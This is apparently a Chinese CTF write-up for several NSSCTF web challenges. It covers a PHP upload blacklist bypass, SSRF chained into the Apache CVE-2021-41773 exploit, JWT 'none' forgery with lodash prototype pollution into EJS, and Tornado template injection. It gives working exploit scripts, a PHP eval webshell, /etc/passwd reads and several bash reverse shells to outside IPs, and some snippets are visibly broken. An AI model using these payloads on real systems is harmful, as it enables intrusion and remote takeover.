# php 签到

php, 文件上传

题目描述:

<?php
function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}
if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
}

这题目主要知识点就是绕过黑名单限制,我们可以利用 pathinfo 函数。

pathinfo 函数在获取文件后缀名时获取 '.' 后面的内容,当出现多个 '.' 时,结果为最后一个 '.' 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。

这里我们采用 xxx.xxx/. 的方式绕过过滤,文件名为 xxx.xxx/. 时,pathinfo 函数的 PATHINFO_EXTENSION 只能得到空。

同时 xxx.xxx/. 这种文件名在被 file_put_contents 函数处理时,会解析成 xxx.xxx,原理应该是 /. 表示当前目录,至于为什么 xxx.xxx. 不行,我想应该是操作系统的原因,题目用的是 debian 系统不是 windows,应该处理不掉文件最后的.,导致无法解析。

最后的最后,还要进行一次 url 编码,否则只能解析 '/' 后面的数据。php.png/

写个脚本:

import requests
url = 'http://node5.anna.nssctf.cn:28510/'  # 上传文件的 PHP 脚本地址
file_content = "<?php @eval($_POST['cmd']); ?>"
files = {
    'file': ('shell.php%2f.', file_content)
} 
response = requests.post(url=url, files=files)
print(response.text)

最后访问 /shell.php,用蚁剑连接,没找到 flag,那就用

phpinfo();

看看,果然在环境变量里:

# [NSSCTF 2nd]

脑洞 + 对脑电波

桌面上有个获取 flag,点击之后可以拿到一些细节

2

在开始 -> 资源管理器 中的 D 盘 中有一个 WP 里面存有提示

3

因为 只有 "我" 能访问 所以应该得在本机 也就是页面内执行 curl 命令

打开终端 输入 token

执行 curl https://www.nssctf.cn/flag 即可

4

# MyBox

任意文件读取

猜测这里存在 SSRF 漏洞。尝试伪协议读取 /etc/passwd ,成功,存在 SSRF。

/?url=file:///etc/passwd

# 非预期:

读 /start.sh 得到 flag 位置或 /proc/1/environ

# 预期

使用

/?url=file:///proc/self/cmdline

查看执行当前进程的命令行参数

5

可以得知是 app.py

读取源码:/?url=file:///app/app.py

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''
app.run('0.0.0.0', 827)

存在 mybox:// 自建协议,本质就是往 port 发包。

这个其实实现了一个类似 gopher 的功能,向内网的 80 端口发个包看看返回情况,写这个包的脚本在下面:

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80
"""
#注意后面一定要有回车,回车结尾表示 http 请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
print(result)

得到结果后再进行二次编码,发包发到返回状态码 404 为止,可以看见这里 Apache 的版本是 2.4.49,这个版本的 Apache 有一个路径穿越和 RCE 漏洞(CVE-2021-41773)

6

可以看到返回里面有提到 apache 版本是 2.4.49,这是个很明显的漏洞版本,可以直接利用 poc 弹 shell 即可:

我们用 mybox:// 协议打 CVE-2021-41773,POST 发包,执行命令反弹 shell。

import urllib.parse
payload =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
echo;bash -c 'bash -i >& /dev/tcp/120.46.41.173/9023 0>&1'
"""
#注意后面一定要有回车,回车结尾表示 http 请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = mybox://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是 GET 请求发包所以要进行两次 url 编码
import urllib
 import urllib.parse
 import urllib.request
 def PAR_POST(path, content, host='127.0.0.1:80'):
    PAR ="POST /{} HTTP/1.1\n" \
         "Host: {}\n" \
         "User-Agent: curl/7.43.0\n" \
         "Accept: */*\n" \
         "Content-Type: application/x-www-form-urlencoded\n" \
         "Content-Length: {}\n\n" \
         "{}\n".format(path, host, len(content), content)
    print(PAR)
    NEW_PAR = urllib.parse.quote(PAR)
    NEW_PAR = NEW_PAR.replace('%0A','%0D%0A')
    res = 'myboxr://127.0.0.1:80/_' + NEW_PAR
    return urllib.parse.quote(res)
 a=PAR_POST("cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%6
 5/.%%32%65/bin/sh","echo;bash -c 'bash -i >& /dev/tcp/43.137.36.145/3333 0
 >&1'")
 print(a)

两个都可以用

# MyJs

原型链污染,EJS,NodeJS,JWT

首先得知道以下信息:

# 1. JSON Web Token 是什么

JSON Web Token (JWT) 是一个开放标准 (RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为 JSON 对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

# 2. 什么时候你应该用 JSON Web Token

下列场景中使用 JSON Web Token 是很有用的:

  • Authorization (授权) : 这是使用 JWT 的最常见场景。一旦用户登录,后续每个请求都将包含 JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的 JWT 的一个特性,因为它的开销很小,并且可以轻松地跨域使用。
  • Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言,JSON Web Tokens 无疑是一种很好的方式。因为 JWT 可以被签名,例如,用公钥 / 私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改。

# 3. JSON Web Token 的结构是什么样的

JSON Web Token 由三部分组成,它们之间用圆点 (.) 连接。这三部分分别是:

  • Header
  • Payload
  • Signature

因此,一个典型的 JWT 看起来是这个样子的:

xxxxx.yyyyy.zzzzz

接下来,具体看一下每一部分:

  • Header header 典型的由两部分组成:token 的类型(“JWT”)和算法名称(比如:HMAC SHA256 或者 RSA 等等)。

例如:

{
    'alg': "HS256",
    'typ': "JWT"
}

然后,用 Base64 对这个 JSON 编码就得到 JWT 的第一部分

  • Payload JWT 的第二部分是 payload,它包含声明(要求)。声明是关于实体 (通常是用户) 和其他数据的声明。声明有三种类型: registered, public 和 private。

    • Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience) 等。
    • Public claims : 可以随意定义。
    • Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。 下面是一个例子:
{
    "sub": '1234567890',
    "name": 'john',
    "admin":true
}

对 payload 进行 Base64 编码就得到 JWT 的第二部分

  • Signature

为了得到签名部分,你必须有编码过的 header、编码过的 payload、一个秘钥,签名算法是 header 中指定的那个,然对它们签名即可。

例如:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的 token,它还可以验证 JWT 的发送方是否为它所称的发送方。

# 4. JSON Web Tokens 是如何工作的

在认证的时候,当用户用他们的凭证成功登录以后,一个 JSON Web Token 将会被返回。此后,token 就是用户凭证了,你必须非常小心以防止出现安全问题。一般而言,你保存令牌的时候不应该超过你所需要它的时间。

无论何时用户想要访问受保护的路由或者资源的时候,用户代理(通常是浏览器)都应该带上 JWT,典型的,通常放在 Authorization header 中,用 Bearer schema。

header 应该看起来是这样的:

Authorization: Bearer

服务器上的受保护的路由将会检查 Authorization header 中的 JWT 是否有效,如果有效,则用户可以访问受保护的资源。如果 JWT 包含足够多的必需的数据,那么就可以减少对某些操作的数据库查询的需要,尽管可能并不总是如此。

如果 token 是在授权头(Authorization header)中发送的,那么跨源资源共享 (CORS) 将不会成为问题,因为它不使用 cookie。

# 5. 基于 Token 的身份认证 与 基于服务器的身份认证

5.1 基于服务器的身份认证

在讨论基于 Token 的身份认证是如何工作的以及它的好处之前,我们先来看一下以前我们是怎么做的:

HTTP 协议是无状态的,也就是说,如果我们已经认证了一个用户,那么他下一次请求的时候,服务器不知道我是谁,我们必须再次认证

传统的做法是将已经认证过的用户信息存储在服务器上,比如 Session。用户下次请求的时候带着 Session ID,然后服务器以此检查用户是否认证过。

这种基于服务器的身份认证方式存在一些问题:

  • Sessions : 每次用户认证通过以后,服务器需要创建一条记录保存用户信息,通常是在内存中,随着认证通过的用户越来越多,服务器的在这里的开销就会越来越大。
  • Scalability : 由于 Session 是在内存中的,这就带来一些扩展性的问题。
  • CORS : 当我们想要扩展我们的应用,让我们的数据被多个移动设备使用时,我们必须考虑跨资源共享问题。当使用 AJAX 调用从另一个域名下获取资源时,我们可能会遇到禁止请求的问题。
  • CSRF : 用户很容易受到 CSRF 攻击。

5.2. JWT 与 Session 的差异 相同点是,它们都是存储用户信息;然而,Session 是在服务器端的,而 JWT 是在客户端的。

Session 方式存储用户信息的最大问题在于要占用大量服务器内存,增加服务器的开销。

而 JWT 方式将用户状态分散到了客户端中,可以明显减轻服务端的内存压力。

Session 的状态是存储在服务器端,客户端只有 session id;而 Token 的状态是存储在客户端。

5.3. 基于 Token 的身份认证是如何工作的 基于 Token 的身份认证是无状态的,服务器或者 Session 中不会存储任何用户信息。

没有会话信息意味着应用程序可以根据需要扩展和添加更多的机器,而不必担心用户登录的位置。

虽然这一实现可能会有所不同,但其主要流程如下:

- 用户携带用户名和密码请求访问 - 服务器校验用户凭据 - 应用提供一个 token 给客户端 - 客户端存储 token,并且在随后的每一次请求中都带着它 - 服务器校验 token 并返回数据

注意:

- 每一次请求都需要 token -Token 应该放在请求 header 中 - 我们还需要将服务器设置为接受来自所有域的请求,用 Access-Control-Allow-Origin: *

5.4. 用 Token 的好处 - 无状态和可扩展性:Tokens 存储在客户端。完全无状态,可扩展。我们的负载均衡器可以将用户传递到任意服务器,因为在任何地方都没有状态或会话信息。 - 安全:Token 不是 Cookie。(The token, not a cookie.)每次请求的时候 Token 都会被发送。而且,由于没有 Cookie 被发送,还有助于防止 CSRF 攻击。即使在你的实现中将 token 存储到客户端的 Cookie 中,这个 Cookie 也只是一种存储机制,而非身份认证机制。没有基于会话的信息可以操作,因为我们没有会话!

还有一点,token 在一段时间以后会过期,这个时候用户需要重新登录。这有助于我们保持安全。还有一个概念叫 token 撤销,它允许我们根据相同的授权许可使特定的 token 甚至一组 token 无效。

5.5. JWT 与 OAuth 的区别 -OAuth2 是一种授权框架 ,JWT 是一种认证协议 - 无论使用哪种方式切记用 HTTPS 来保证数据的安全性 -OAuth2 用在使用第三方账号登录的情况 (比如使用 weibo, qq, github 登录某个 app),而 JWT 是用在前后端分离,需要简单的对后台 API 进行保护时使用。

拿到题目的第一步先检查这个题目的源代码,发现注释中存在 /source,

打开后查看:

// 导入所需的模块
const express = require('express'); // 导入Express框架
const bodyParser = require('body-parser'); // 导入解析请求体的中间件
const lodash = require('lodash'); // 导入Lodash工具库
const session = require('express-session'); // 导入Express的会话管理中间件
const randomize = require('randomatic'); // 导入生成随机字符串的库
const jwt = require('jsonwebtoken'); // 导入JSON Web Token(JWT)的库
const crypto = require('crypto'); // 导入加密算法的库
const fs = require('fs'); // 导入文件系统模块

global.secrets = []; // 全局数组,用于存储秘钥信息

express() // 创建Express应用程序实例
.use(bodyParser.urlencoded({extended: true})) // 使用body-parser中间件来解析URL编码的请求体
.use(bodyParser.json()) // 使用body-parser中间件来解析JSON格式的请求体
.use('/static', express.static('static')) // 设置静态文件目录
.set('views', './views') // 设置视图文件的目录
.set('view engine', 'ejs') // 设置视图引擎为EJS
.use(session({ // 使用Express会话中间件配置会话选项
    name: 'session', // 会话名称
    secret: randomize('a', 16), // 生成随机的会话密钥
    resave: true, // 重新保存会话
    saveUninitialized: true // 保存未初始化的会话
}))
.get('/', (req, res) => { // 处理根路径的GET请求
    if (req.session.data) { // 如果会话中有数据
        res.redirect('/home'); // 重定向到主页
    } else {
        res.redirect('/login'); // 否则重定向到登录页面
    }
})
.get('/source', (req, res) => { // 处理/source路径的GET请求
    res.set('Content-Type', 'text/javascript;charset=utf-8'); // 设置响应头的Content-Type
    res.send(fs.readFileSync(__filename)); // 读取当前文件内容并发送给客户端
})
.all('/login', (req, res) => { // 处理/login路径的所有HTTP方法的请求
    if (req.method == "GET") { // 如果是GET请求
        res.render('login.ejs', {msg: null}); // 渲染登录页面,传递空消息
    }
    if (req.method == "POST") { // 如果是POST请求
        const {username, password, token} = req.body; // 从请求体中获取用户名、密码和令牌
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; // 解码令牌获取秘钥ID

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'}); // 如果秘钥ID无效,渲染登录页面并显示错误消息
        }
        const secret = global.secrets[sid]; // 获取对应秘钥
        const user = jwt.verify(token, secret, {algorithm: "HS256"}); // 验证JWT令牌
        if (username === user.username && password === user.password) { // 如果用户名和密码匹配
            req.session.data = { // 存储会话数据
                username: username,
                count: 0,
            }
            res.redirect('/home'); // 重定向到主页
        } else {
            return res.render('login.ejs', {msg: 'login error.'}); // 如果用户名或密码不匹配,渲染登录页面并显示错误消息
        }
    }
})
.all('/register', (req, res) => { // 处理/register路径的所有HTTP方法的请求
    if (req.method == "GET") { // 如果是GET请求
        res.render('register.ejs', {msg: null}); // 渲染注册页面,传递空消息
    }
    if (req.method == "POST") { // 如果是POST请求
        const {username, password} = req.body; // 从请求体中获取用户名和密码
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."}); // 如果用户名为空或已存在,渲染注册页面并显示错误消息
        }
        const secret = crypto.randomBytes(16).toString('hex'); // 生成16字节的随机秘钥
        const secretid = global.secrets.length; // 计算秘钥ID
        global.secrets.push(secret); // 将秘钥存储到全局数组中
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); // 使用秘钥签发JWT令牌
        res.render('register.ejs', {msg: "Token: " + token}); // 渲染注册页面并显示生成的令牌
    }
})
.all('/home', (req, res) => { // 处理/home路径的所有HTTP方法的请求
    if (!req.session.data) { // 如果没有会话数据
        return res.redirect('/login'); // 重定向到登录页面
    }
    res.render('home.ejs', { // 渲染主页
        username: req.session.data.username || 'NSS',
        count: req.session.data.count || '0',
        msg: null
    })
})
.post('/update', (req, res) => { // 处理/update路径的POST请求
    if (!req.session.data) { // 如果没有会话数据
        return res.redirect('/login'); // 重定向到登录页面
    }
    if (req.session.data.username !== 'nss') { // 如果用户名不是'nss'
        return res.render('home.ejs', { // 渲染主页并显示错误消息
            username: req.session.data.username || 'NSS',
            count: req.session.data.count || '0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {}; // 获取会话数据
    req.session.data = lodash.merge(data, req.body); // 合并请求体中的数据到会话数据中
    console.log(req.session.data.outputFunctionName); // 打印输出函数名称
    res.redirect('/home'); // 重定向到主页
})
.listen(827, '0.0.0.0');

代码中的变量 sid 是 JWT 中的 secretid, 要求是不等于 undefined,null 等等。验证用户名时使用了函数 verify (),verify () 指定算法正确方式应该是通过 algorithms 传入数组,而不是 algorithm,所以这里本质上传了一个空加密,导致允许空密钥,我们无法获得 JWT 密钥 (高版本已修改)。

algorithmsnone 的情况下,空签名且空秘钥是被允许的;如果指定了 algorithms 为具体的某个算法,则密钥是不能为空的。在 JWT 库中,如果没指定算法,则默认使用 none

所以我们的目标进一步是使得代码中 JWT 解密密钥(secret)为 null 或者 undefined

sid 的弱比较,如果只是允许空密钥的话我们知道 secret 依然无法 verify,这里 sid 如果传个数组就能轻松绕过判断并且

这样就可以构造任意密钥为空的 JWT 口令了。

那么我们伪造 JWT 的脚本如下:

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
    secretid: [],
    username: 'nss',
    password: '123456',
    "iat":1693704680
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

得到:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTM3MDQ2ODB9.

然后账号 nss,密码 123456,token 如上登录。

7

nss 用户名登录后,于 /update 路由中我们可以构造 payload 造成 ejs 模板引擎污染。( req.session.data = lodash.merge(data, req.body); 中的 merge 函数是原型链污染高位函数)

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/1.94.24.55/6666 0>&1\"');","compileDebug":true
    }
}

记得修改一下 Content-typeapplication/json ,以让服务端接受 json 请求

# MyHurricane

SSTI,Tornado

# 非预期:

又是直接读环境变量

# 预期

参考

tornado 模板注入

源码直接给了:

import tornado.ioloop
import tornado.web
import os
BASE_DIR = os.path.dirname(__file__)  # 获取当前文件的所在目录
# 自定义简单的 WAF(Web 应用防火墙)函数,用于检查输入数据是否包含特定敏感字符
def waf(data):
    blacklist = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', ', ']
    for c in blacklist:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):  # 检查字符是否在可接受的 ASCII 范围内
                return False
    return True
# 定义 Tornado 的请求处理类
class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())  # 读取当前文件内容并发送给客户端
    def post(self):
        data = self.get_argument("ssti")  # 获取 POST 请求中名为 "ssti" 的参数数据
        if waf(data):  # 使用自定义的 WAF 函数检查输入数据
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{data}</body></html>
                        """)  # 将输入数据渲染为 HTML 页面并保存到 1.html 文件中
                f.flush()
            self.render('1.html')  # 渲染 1.html 并发送给客户端
        else:
            self.finish('no no no')  # 如果输入数据不符合 WAF 规则,则发送 "no no no" 给客户端
if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),  # 创建 Tornado 应用,将 URL 路径 "/" 映射到 IndexHandler 类
        ], compiled_template_cache=False)  # 禁用模板缓存
    app.listen(827)  # 监听端口 827
    tornado.ioloop.IOLoop.current().start()  # 启动 Tornado 的事件循环
可以看到源码过滤了`'`, `"`, `__`, `(`, `)`, `or`, `and`, `not`, `{{`, `}}`

和flask模板一样,我们可以用`{%`代替`{{`。

过滤这么多,也不是不可以执行命令。

如果没有过滤,我们的payload:

{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}

有过滤的情况下我们可以使用笔记末尾武器库中的payload(适当进行替换)

import__('os').system('bash -c \'bash -i >& /dev/tcp/vps-ip/port 0>&1\'')
"""
&ssti={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&
"""

也可以用这个:

POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

# 总结

tornado 中无过滤情况下的可使用的 payload

#1、读文件
<!--swig6-->
<!--swig7-->
#2、 直接使用函数
<!--swig8-->
<!--swig9-->
#3、导入库
<!--swig10--><!--swig11-->
#4、flask 中的 payload 大部分也通用
<!--swig12-->
<!--swig13-->
其中"".__class__.__mro__[-1].__subclasses__()[133]<class 'os._wrap_close'>
第二个中的x为有__builtins__的class
#5、利用 tornado 特有的对象或者方法
<!--swig14-->
<!--swig15-->
#6、利用 tornado 模板中的代码注入
<!--swig16--><!--swig17-->
更新于

请我喝[茶]~( ̄▽ ̄)~*

p1kap1 微信支付

微信支付

p1kap1 支付宝

支付宝

p1kap1 贝宝

贝宝